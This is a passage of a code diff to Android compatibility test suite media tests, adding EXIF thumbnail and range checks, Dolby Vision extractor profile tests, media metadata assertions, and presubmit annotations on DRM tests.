         exifInterface.saveAttributes();
+        // Check if thumbnail offset and length are properly updated without parsing the data again.
+        if (expectedValue.hasThumbnail) {
+            testThumbnail(expectedValue, exifInterface);
+        }
         exifInterface = new ExifInterface(imageFile.getAbsolutePath());
         assertEquals("abc", exifInterface.getAttribute(ExifInterface.TAG_MAKE));
+        // Check if thumbnail bytes can be retrieved from the new thumbnail range.
+        if (expectedValue.hasThumbnail) {
+            testThumbnail(expectedValue, exifInterface);
+        }
+
         // Restore the backup value.
         exifInterface.setAttribute(ExifInterface.TAG_MAKE, backupValue);
         exifInterface.saveAttributes();
@@ -439,9 +552,19 @@
             String backupValue = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
             exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
             exifInterface.saveAttributes();
+            // Check if thumbnail offset and length are properly updated without parsing the data
+            // again.
+            if (expectedValue.hasThumbnail) {
+                testThumbnail(expectedValue, exifInterface);
+            }
             Os.lseek(fd, 0, OsConstants.SEEK_SET);
             exifInterface = new ExifInterface(fd);
             assertEquals("abc", exifInterface.getAttribute(ExifInterface.TAG_MAKE));
+            // Check if thumbnail bytes can be retrieved from the new thumbnail range.
+            if (expectedValue.hasThumbnail) {
+                testThumbnail(expectedValue, exifInterface);
+            }
+
             // Restore the backup value.
             exifInterface.setAttribute(ExifInterface.TAG_MAKE, backupValue);
             exifInterface.saveAttributes();
@@ -455,7 +578,7 @@
         }
     }
 
-    private void testExifInterfaceForJpeg(String fileName, int typedArrayResourceId)
+    private void testExifInterfaceForReadAndWrite(String fileName, int typedArrayResourceId)
             throws IOException {
         ExpectedValue expectedValue = new ExpectedValue(
                 getContext().getResources().obtainTypedArray(typedArrayResourceId));
@@ -464,12 +587,15 @@
         fileName = EXTERNAL_BASE_DIRECTORY + fileName;
         testExifInterfaceCommon(fileName, expectedValue);
 
+        // Test for checking expected range by retrieving raw data with given offset and length.
+        testExifInterfaceRange(fileName, expectedValue);
+
         // Test for saving attributes.
         testSaveAttributes_withFileName(fileName, expectedValue);
         testSaveAttributes_withFileDescriptor(fileName, expectedValue);
     }
 
-    private void testExifInterfaceForRaw(String fileName, int typedArrayResourceId)
+    private void testExifInterfaceForRead(String fileName, int typedArrayResourceId)
             throws IOException {
         ExpectedValue expectedValue = new ExpectedValue(
                 getContext().getResources().obtainTypedArray(typedArrayResourceId));
@@ -478,26 +604,48 @@
         fileName = EXTERNAL_BASE_DIRECTORY + fileName;
         testExifInterfaceCommon(fileName, expectedValue);
 
-        // Since ExifInterface does not support for saving attributes for RAW files, do not test
-        // about writing back in here.
+        // Test for checking expected range by retrieving raw data with given offset and length.
+        testExifInterfaceRange(fileName, expectedValue);
+    }
+
+    private void testThumbnail(ExpectedValue expectedValue, ExifInterface exifInterface) {
+        byte[] thumbnail = exifInterface.getThumbnailBytes();
+        // TODO: Add support for testing validity of uncompressed thumbnails
+        if (expectedValue.isThumbnailCompressed) {
+            Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnail, 0,
+                    thumbnail.length);
+            assertNotNull(thumbnailBitmap);
+            assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
+            assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+                .detectUnbufferedIo()
+                .penaltyDeath()
+                .build());
     }
 
     public void testReadExifDataFromExifByteOrderIIJpeg() throws Throwable {
-        testExifInterfaceForJpeg(EXIF_BYTE_ORDER_II_JPEG, R.array.exifbyteorderii_jpg);
+        testExifInterfaceForReadAndWrite(EXIF_BYTE_ORDER_II_JPEG, R.array.exifbyteorderii_jpg);
     }
 
     public void testReadExifDataFromExifByteOrderMMJpeg() throws Throwable {
-        testExifInterfaceForJpeg(EXIF_BYTE_ORDER_MM_JPEG, R.array.exifbyteordermm_jpg);
+        testExifInterfaceForReadAndWrite(EXIF_BYTE_ORDER_MM_JPEG, R.array.exifbyteordermm_jpg);
     }
 
     public void testReadExifDataFromLgG4Iso800Dng() throws Throwable {
-        testExifInterfaceForRaw(LG_G4_ISO_800_DNG, R.array.lg_g4_iso_800_dng);
+        testExifInterfaceForRead(LG_G4_ISO_800_DNG, R.array.lg_g4_iso_800_dng);
     }
 
     public void testReadExifDataFromLgG4Iso800Jpg() throws Throwable {
         stageFile(R.raw.lg_g4_iso_800, new File(Environment.getExternalStorageDirectory(),
                 EXTERNAL_BASE_DIRECTORY + LG_G4_ISO_800_JPG));
-        testExifInterfaceForJpeg(LG_G4_ISO_800_JPG, R.array.lg_g4_iso_800_jpg);
+        testExifInterfaceForReadAndWrite(LG_G4_ISO_800_JPG, R.array.lg_g4_iso_800_jpg);
     }
 
     public void testDoNotFailOnCorruptedImage() throws Throwable {
@@ -514,43 +662,75 @@
 
     public void testReadExifDataFromVolantisJpg() throws Throwable {
         // Test if it is possible to parse the volantis generated JPEG smoothly.
-        testExifInterfaceForJpeg(VOLANTIS_JPEG, R.array.volantis_jpg);
+        testExifInterfaceForReadAndWrite(VOLANTIS_JPEG, R.array.volantis_jpg);
     }
 
     public void testReadExifDataFromSonyRX100Arw() throws Throwable {
-        testExifInterfaceForRaw(SONY_RX_100_ARW, R.array.sony_rx_100_arw);
+        testExifInterfaceForRead(SONY_RX_100_ARW, R.array.sony_rx_100_arw);
     }
 
     public void testReadExifDataFromCanonG7XCr2() throws Throwable {
-        testExifInterfaceForRaw(CANON_G7X_CR2, R.array.canon_g7x_cr2);
+        testExifInterfaceForRead(CANON_G7X_CR2, R.array.canon_g7x_cr2);
     }
 
     public void testReadExifDataFromFujiX20Raf() throws Throwable {
-        testExifInterfaceForRaw(FUJI_X20_RAF, R.array.fuji_x20_raf);
+        testExifInterfaceForRead(FUJI_X20_RAF, R.array.fuji_x20_raf);
     }
 
     public void testReadExifDataFromNikon1AW1Nef() throws Throwable {
-        testExifInterfaceForRaw(NIKON_1AW1_NEF, R.array.nikon_1aw1_nef);
+        testExifInterfaceForRead(NIKON_1AW1_NEF, R.array.nikon_1aw1_nef);
     }
 
     public void testReadExifDataFromNikonP330Nrw() throws Throwable {
-        testExifInterfaceForRaw(NIKON_P330_NRW, R.array.nikon_p330_nrw);
+        testExifInterfaceForRead(NIKON_P330_NRW, R.array.nikon_p330_nrw);
     }
 
     public void testReadExifDataFromOlympusEPL3Orf() throws Throwable {
-        testExifInterfaceForRaw(OLYMPUS_E_PL3_ORF, R.array.olympus_e_pl3_orf);
+        testExifInterfaceForRead(OLYMPUS_E_PL3_ORF, R.array.olympus_e_pl3_orf);
     }
 
     public void testReadExifDataFromPanasonicGM5Rw2() throws Throwable {
-        testExifInterfaceForRaw(PANASONIC_GM5_RW2, R.array.panasonic_gm5_rw2);
+        testExifInterfaceForRead(PANASONIC_GM5_RW2, R.array.panasonic_gm5_rw2);
     }
 
     public void testReadExifDataFromPentaxK5Pef() throws Throwable {
-        testExifInterfaceForRaw(PENTAX_K5_PEF, R.array.pentax_k5_pef);
+        testExifInterfaceForRead(PENTAX_K5_PEF, R.array.pentax_k5_pef);
     }
 
     public void testReadExifDataFromSamsungNX3000Srw() throws Throwable {
-        testExifInterfaceForRaw(SAMSUNG_NX3000_SRW, R.array.samsung_nx3000_srw);
+        testExifInterfaceForRead(SAMSUNG_NX3000_SRW, R.array.samsung_nx3000_srw);
+    }
+
+    public void testStandaloneDataForRead() throws Throwable {
+        testExifInterfaceForStandalone(EXIF_BYTE_ORDER_II_JPEG, R.array.exifbyteorderii_standalone);
+        testExifInterfaceForStandalone(EXIF_BYTE_ORDER_MM_JPEG, R.array.exifbyteordermm_standalone);
+    }
+
+    public void testExifByteOrderIIPngForReadAndWrite() throws Throwable {
+        stageFile(R.raw.png_with_exif_byte_order_ii, new File(Environment.getExternalStorageDirectory(),
+                EXTERNAL_BASE_DIRECTORY + PNG_WITH_EXIF_BYTE_ORDER_II));
+        testExifInterfaceForRead(PNG_WITH_EXIF_BYTE_ORDER_II, R.array.exifbyteorderii_png);
+    }
+
+    public void testExifByteOrderIIWebpForRead() throws Throwable {
+        stageFile(R.raw.webp_with_exif, new File(Environment.getExternalStorageDirectory(),
+                EXTERNAL_BASE_DIRECTORY + WEBP_WITH_EXIF));
+        testExifInterfaceForRead(WEBP_WITH_EXIF, R.array.exifbyteorderii_webp);
+    }
+
+    public void testPngWithoutExifForWrite() throws Throwable {
+        stageFile(R.raw.png_without_exif, new File(Environment.getExternalStorageDirectory(),
+                EXTERNAL_BASE_DIRECTORY + PNG_WITHOUT_EXIF));
+
+        // Do we need to clone this file?
+        File imageFile = new File(Environment.getExternalStorageDirectory(),
+                EXTERNAL_BASE_DIRECTORY + PNG_WITHOUT_EXIF);
+        ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
+        exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
+        exifInterface.saveAttributes();
+        exifInterface = new ExifInterface(imageFile.getAbsolutePath());
+        String make = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
+        assertEquals("abc", make);
     }
 
     public void testSetDateTime() throws IOException {
@@ -595,4 +775,13 @@
         FileUtils.copyFileOrThrow(original, cloned);
         return cloned;
     }
+
+    private short readShort(InputStream is) throws IOException {
+        int ch1 = is.read();
+        int ch2 = is.read();
+        if ((ch1 | ch2) < 0) {
+            throw new EOFException();
+        }
+        return (short) ((ch1 << 8) + (ch2));
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
index f0c3d1d..fbc9b7c 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
@@ -874,4 +874,19 @@
             MediaUtils.skipTest(TAG, "AAC and FLAC encoders not present");
         }
     }
+
+    public void testLowLatencyFeatureIsSupportedOnly() throws IOException {
+        MediaCodecList list = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        for (MediaCodecInfo info : list.getCodecInfos()) {
+            for (String type : info.getSupportedTypes()) {
+                CodecCapabilities caps = info.getCapabilitiesForType(type);
+                if (caps.isFeatureSupported(CodecCapabilities.FEATURE_LowLatency)) {
+                    assertFalse(
+                        info.getName() + "(" + type + ") "
+                            + " supports low latency, but low latency shall not be required",
+                        caps.isFeatureRequired(CodecCapabilities.FEATURE_LowLatency));
+                }
+            }
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index d76b3b8..5f9b499 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -24,9 +24,11 @@
 import android.media.cts.TestUtils.Monitor;
 import android.net.Uri;
 import android.os.Looper;
+import android.platform.test.annotations.Presubmit;
 import android.util.Base64;
 import android.util.Log;
 import android.view.Surface;
+
 import com.android.compatibility.common.util.ApiLevelUtil;
 
 import org.json.JSONArray;
@@ -415,6 +417,7 @@
     /**
      * Tests KEY_TYPE_RELEASE for offline license.
      */
+    @Presubmit
     public void testReleaseOfflineLicense() throws Exception {
         if (isWatchDevice()) {
             return;
@@ -499,6 +502,7 @@
         return true;
     }
 
+    @Presubmit
     public void testQueryKeyStatus() throws Exception {
         if (isWatchDevice()) {
             // skip this test on watch because it calls
@@ -547,6 +551,7 @@
         }
     }
 
+    @Presubmit
     public void testOfflineKeyManagement() throws Exception {
         if (isWatchDevice()) {
             // skip this test on watch because it calls
@@ -634,6 +639,7 @@
         }
     }
 
+    @Presubmit
     public void testClearKeyPlaybackCenc() throws Exception {
         testClearKeyPlayback(
             COMMON_PSSH_SCHEME_UUID,
@@ -646,6 +652,7 @@
             MediaDrm.KEY_TYPE_STREAMING);
     }
 
+    @Presubmit
     public void testClearKeyPlaybackCenc2() throws Exception {
         testClearKeyPlayback(
             CLEARKEY_SCHEME_UUID,
@@ -658,6 +665,7 @@
             MediaDrm.KEY_TYPE_STREAMING);
     }
 
+    @Presubmit
     public void testClearKeyPlaybackOfflineCenc() throws Exception {
         testClearKeyPlayback(
                 CLEARKEY_SCHEME_UUID,
@@ -751,6 +759,7 @@
         }
     }
 
+    @Presubmit
     public void testGetProperties() throws Exception {
         if (watchHasNoClearkeySupport()) {
             return;
@@ -796,6 +805,7 @@
         }
     }
 
+    @Presubmit
     public void testSetProperties() throws Exception {
         if (watchHasNoClearkeySupport()) {
             return;
@@ -876,6 +886,7 @@
 
     private final static int CLEARKEY_MAX_SESSIONS = 10;
 
+    @Presubmit
     public void testGetNumberOfSessions() {
         if (watchHasNoClearkeySupport()) {
             return;
@@ -912,6 +923,7 @@
         }
     }
 
+    @Presubmit
     public void testHdcpLevels() {
         if (watchHasNoClearkeySupport()) {
             return;
@@ -942,6 +954,7 @@
         }
     }
 
+    @Presubmit
     public void testSecurityLevels() {
         if (watchHasNoClearkeySupport()) {
             return;
@@ -996,6 +1009,7 @@
         }
      }
 
+    @Presubmit
     public void testSecureStop() {
         if (watchHasNoClearkeySupport()) {
             return;
@@ -1120,6 +1134,7 @@
      * Expected behavior: throws MediaDrm.SessionException with
      * errorCode ERROR_RESOURCE_CONTENTION
      */
+    @Presubmit
     public void testResourceContentionError() {
 
         if (watchHasNoClearkeySupport()) {
@@ -1161,6 +1176,7 @@
      * Expected behavior: OnSessionLostState is called with
      * the sessionId
      */
+    @Presubmit
     public void testSessionLostStateError() {
 
         if (watchHasNoClearkeySupport()) {
@@ -1204,6 +1220,7 @@
         }
     }
 
+    @Presubmit
     public void testIsCryptoSchemeSupportedWithSecurityLevel() {
         if (watchHasNoClearkeySupport()) {
             return;
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmMetricsTest.java b/tests/tests/media/src/android/media/cts/MediaDrmMetricsTest.java
index 2ac83cf..ae0bae5 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmMetricsTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmMetricsTest.java
@@ -21,6 +21,7 @@
 
 import android.media.MediaDrm;
 import android.os.PersistableBundle;
+import android.platform.test.annotations.Presubmit;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import com.google.common.io.BaseEncoding;
@@ -57,6 +58,7 @@
         }
     }
 
+    @Presubmit
     public void testGetMetricsEmpty() throws Exception {
         MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
         assertNotNull(drm);
@@ -76,6 +78,7 @@
         drm.close();
     }
 
+    @Presubmit
     public void testGetMetricsSession() throws Exception {
         MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
         assertNotNull(drm);
@@ -129,6 +132,7 @@
        drm.close();
     }
 
+    @Presubmit
     public void testGetMetricsGetKeyRequest() throws Exception {
         MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
         assertNotNull(drm);
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index 67de797..707ff52 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -23,6 +23,7 @@
 import android.icu.util.ULocale;
 import android.media.AudioFormat;
 import android.media.AudioPresentation;
+import android.media.MediaCodecInfo;
 import android.media.MediaDataSource;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
@@ -130,6 +131,145 @@
         afd.close();
     }
 
+    // DolbyVisionMediaExtractor for profile-level (DvheDtr/Fhd30).
+    public void testDolbyVisionMediaExtractorProfileDvheDtr() throws Exception {
+        TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_30fps_dvhe_04);
+
+        assertEquals(2, mExtractor.getTrackCount());
+
+        // First track should be a track with dolby-vision mime
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+        assertEquals("video/dolby-vision", mimeType);
+
+        int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);;
+        int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);;
+
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheDtr, profile);
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd30, level);
+
+        // The second track should be with the mime video/hevc for backward compatibility
+        trackFormat = mExtractor.getTrackFormat(1);
+        mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+        assertEquals("video/hevc", mimeType);
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (DvheStn/Fhd60).
+    public void testDolbyVisionMediaExtractorProfileDvheStn() throws Exception {
+        TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_60fps_dvhe_05);
+
+        assertEquals(1, mExtractor.getTrackCount());
+
+        // DvheStn exposes only a single non-backward compatible Dolby Vision HDR track.
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+        assertEquals("video/dolby-vision", mimeType);
+
+        final int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);;
+        final int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);;
+
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheStn, profile);
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (DvheSt/Fhd60).
+    public void testDolbyVisionMediaExtractorProfileDvheSt() throws Exception {
+        TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_60fps_dvhe_08);
+
+        assertEquals(2, mExtractor.getTrackCount());
+
+        // First track should be a track with dolby-vision mime
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+        assertEquals("video/dolby-vision", mimeType);
+
+        final int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);;
+        final int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);;
+
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheSt, profile);
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
+
+        // The second track should be with the mime video/hevc for backward compatibility
+        trackFormat = mExtractor.getTrackFormat(1);
+        mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+        assertEquals("video/hevc", mimeType);
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (DvavSe/Fhd60).
+    public void testDolbyVisionMediaExtractorProfileDvavSe() throws Exception {
+        TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_60fps_dvav_09);
+
+        assertEquals(2, mExtractor.getTrackCount());
+
+        // First track should be a track with dolby-vision mime
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+        assertEquals("video/dolby-vision", mimeType);
+
+        final int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);;
+        final int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);;
+
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvavSe, profile);
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
+
+        // The second track should be with the mime video/hevc for backward compatibility
+        trackFormat = mExtractor.getTrackFormat(1);
+        mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+        assertEquals("video/avc", mimeType);
+
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (Dvav1 10.0/Uhd30)
+    public void testDolbyVisionMediaExtractorProfileDvav1() throws Exception {
+        TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_3840x2160_30fps_dav1_10);
+
+        assertEquals(1, mExtractor.getTrackCount());
+
+        // Dvav1 10 exposes a single backward compatible track.
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+        assertEquals("video/dolby-vision", mimeType);
+
+        final int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);;
+        final int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);;
+
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvav110, profile);
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelUhd30, level);
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (Dvav1 10.1/Uhd30)
+    public void testDolbyVisionMediaExtractorProfileDvav1_2() throws Exception {
+        TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_3840x2160_30fps_dav1_10_2);
+
+        assertEquals(2, mExtractor.getTrackCount());
+
+        // First track should be a track with dolby-vision mime
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+        assertEquals("video/dolby-vision", mimeType);
+
+        final int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);;
+        final int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);;
+
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvav110, profile);
+        assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelUhd30, level);
+
+        // The second track should be with the mime video/av01 for backward compatibility
+        trackFormat = mExtractor.getTrackFormat(1);
+        mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+        assertEquals("video/av01", mimeType);
+    }
+
     private void checkExtractorSamplesAndMetrics() {
         // 1MB is enough for any sample.
         final ByteBuffer buf = ByteBuffer.allocate(1024*1024);
@@ -182,7 +322,7 @@
     }
 
     public void testGetAudioPresentations() throws Exception {
-        final int resid = R.raw.MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps;
+        final int resid = R.raw.MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only;
         TestMediaDataSource dataSource = setDataSource(resid);
         int ac4TrackIndex = -1;
         for (int i = 0; i < mExtractor.getTrackCount(); i++) {
@@ -194,7 +334,7 @@
             }
         }
         assertNotEquals(
-                "AC4 track was not found in MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps",
+                "AC4 track was not found in MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only",
                 -1, ac4TrackIndex);
 
         // The test file has two sets of audio presentations. The presentation set
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 94f334c..9066c1b 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -32,18 +32,25 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
+import android.media.MediaRecorder;
 import android.media.cts.R;
+import android.net.Uri;
+import android.os.Environment;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
+import android.util.Log;
 
 import androidx.test.filters.SmallTest;
 
 import com.android.compatibility.common.util.MediaUtils;
-
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.InputStream;
 import java.util.ArrayList;
+import java.util.HashMap;
 import java.util.List;
 import java.util.function.Function;
 
@@ -58,6 +65,7 @@
     protected MediaMetadataRetriever mRetriever;
     private PackageManager mPackageManager;
 
+    protected static final int SLEEP_TIME = 1000;
     private static int BORDER_WIDTH = 16;
     private static Color COLOR_BLOCK =
             Color.valueOf(1.0f, 1.0f, 1.0f);
@@ -137,10 +145,25 @@
                 "Test album",
                 mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUM));
 
+        assertNull("Album artist was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST));
+
+        assertNull("Author was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_AUTHOR));
+
+        assertNull("Composer was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPOSER));
+
         assertEquals("Track number was other than expected",
                 "10",
                 mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CD_TRACK_NUMBER));
 
+        assertNull("Disc number was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DISC_NUMBER));
+
+        assertNull("Compilation was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPILATION));
+
         assertEquals("Year was other than expected",
                 "2013", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_YEAR));
 
@@ -148,7 +171,59 @@
                 "19040101T000000.000Z",
                 mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DATE));
 
-        assertNull("Writer was unexpected present",
+        assertEquals("Bitrate was other than expected",
+                "365018",  // = 504045 (file size in byte) * 8e6 / 11047000 (duration in us)
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITRATE));
+
+        assertNull("Capture frame rate was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE));
+
+        assertEquals("Duration was other than expected",
+                "11047",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION));
+
+        assertEquals("Number of tracks was other than expected",
+                "4",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+
+        assertEquals("Has audio was other than expected",
+                "yes",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO));
+
+        assertEquals("Has video was other than expected",
+                "yes",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_VIDEO));
+
+        assertEquals("Video frame count was other than expected",
+                "172",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_FRAME_COUNT));
+
+        assertEquals("Video height was other than expected",
+                "288",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
+
+        assertEquals("Video width was other than expected",
+                "352",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
+
+        assertEquals("Video rotation was other than expected",
+                "0",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
+
+        assertEquals("Mime type was other than expected",
+                "video/mp4",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+
+        assertNull("Location was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+
+        assertNull("EXIF length was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_LENGTH));
+
+        assertNull("EXIF offset was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_OFFSET));
+
+        assertNull("Writer was unexpectedly present",
                 mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_WRITER));
     }
 
@@ -166,10 +241,25 @@
                 "Test album",
                 mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUM));
 
+        assertNull("Album artist was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST));
+
+        assertNull("Author was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_AUTHOR));
+
+        assertNull("Composer was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPOSER));
+
         assertEquals("Track number was other than expected",
                 "10",
                 mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CD_TRACK_NUMBER));
 
+        assertNull("Disc number was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DISC_NUMBER));
+
+        assertNull("Compilation was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPILATION));
+
         assertEquals("Year was other than expected",
                 "2013", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_YEAR));
 
@@ -177,6 +267,58 @@
                 "19700101T000000.000Z",
                 mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DATE));
 
+        assertEquals("Bitrate was other than expected",
+                "499895",  // = 624869 (file size in byte) * 8e6 / 10000000 (duration in us)
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITRATE));
+
+        assertNull("Capture frame rate was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE));
+
+        assertEquals("Duration was other than expected",
+                "10000",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION));
+
+        assertEquals("Number of tracks was other than expected",
+                "2",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+
+        assertEquals("Has audio was other than expected",
+                "yes",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO));
+
+        assertEquals("Has video was other than expected",
+                "yes",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_VIDEO));
+
+        assertEquals("Video frame count was other than expected",
+                "240",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_FRAME_COUNT));
+
